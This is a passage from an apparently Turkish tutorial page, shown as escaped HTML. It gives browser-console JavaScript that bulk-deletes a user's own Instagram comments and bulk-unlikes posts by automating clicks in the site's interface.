&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__STOP_IG_BULK_DELETE__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;activateSelectMode&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectComments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Silinecek etkile&amp;scedil;im kalmad&amp;inodot;."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clickBloksDelete&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;confirmFinalDelete&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`&amp;Ccedil;evrim &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; adet &amp;ouml;ge silindi.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;CYCLE_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&amp;Idot;&amp;scedil;lem durduruldu:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="2-begenileri-geri-cekme-unlike-betigi"&gt;🖤 2. Be&amp;gbreve;enileri Geri &amp;Ccedil;ekme (Unlike) Beti&amp;gbreve;i&lt;a class="headerlink" href="#2-begenileri-geri-cekme-unlike-betigi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Be&amp;gbreve;endi&amp;gbreve;iniz g&amp;ouml;nderileri toplu olarak be&amp;gbreve;enmekten vazge&amp;ccedil;mek (unlike yapmak) istiyorsan&amp;inodot;z butonlar&amp;inodot;n isim yap&amp;inodot;s&amp;inodot; de&amp;gbreve;i&amp;scedil;iyor. Testlerimi yaparken buton isimlerinin "Unlike" olarak g&amp;uuml;ncellenmesi gerekti&amp;gbreve;ini fark ettim. Likes sekmesinde bu kodu kullanabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt; * Instagram Toplu Be&amp;gbreve;eni Kald&amp;inodot;rma Beti&amp;gbreve;i&lt;/span&gt;
&lt;span class="cm"&gt; * Sadece Be&amp;gbreve;eniler (Likes) sekmesi i&amp;ccedil;in.&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;instagramBulkUnlike&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__STOP_IG_BULK_DELETE__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MAX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CYCLE_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ICON_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;700&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DELETE_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"center"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"mousedown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mouseup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"click"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dispatchEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MouseEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;bubbles&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;cancelable&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;buttons&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findSelectButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s1"&gt;'div[data-bloks-name="bk.components.Flexbox"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Select"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;activateSelectMode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findSelectButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Select butonu bulunamad&amp;inodot;."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getSelectableIcons&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s1"&gt;'div[data-bloks-name="ig.components.Icon"][style*="circle__outline"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectComments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getSelectableIcons&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;behavior&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"smooth"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"center"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'[role="button"]'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ICON_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

